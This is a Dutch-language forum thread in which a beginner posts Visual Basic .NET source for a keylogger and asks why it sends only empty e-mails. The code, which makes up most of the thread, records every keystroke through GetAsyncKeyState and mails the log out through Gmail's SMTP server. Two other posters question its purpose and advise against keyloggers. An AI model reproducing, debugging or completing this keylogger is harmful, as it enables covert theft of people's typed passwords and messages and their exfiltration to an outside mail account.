probleem met keylogger

[ikbenhet90]

help mij aub ik heb een keylogger maar ik heb alles ingevuld van mijn e-mail en ik krijg 10 lege berichten dit is het script alvast bedankt...

Imports System.Net.Mail
Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                RichTextBox1.Text = RichTextBox1.Text + Chr(i)
            End If
        Next i
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("---")
        MyMailMessage.To.Add("---")
        MyMailMessage.Subject = ("Keylogger")
        MyMailMessage.Body = RichTextBox1.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("---", "---")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        RichTextBox1.Text = ("")
    End Sub
End Class

 

[puppie]

wat wil je met die keylogger doen?

 

[ikbenhet90]

ben pas begonnen met programmeren in visual basic en ik heb dit voor de lol gemaakt maar het wi niet lukken

 

[puppie]

goed blijven proberen dan.
key loggers zijn er meestal voor om kwaad te doen.
Ga iets leukers uit proberen met programmeren.

 

[eenpersoon]

probeer een nuttig programma te maken, een keylogger is vaak niet voor een goed doel gemaakt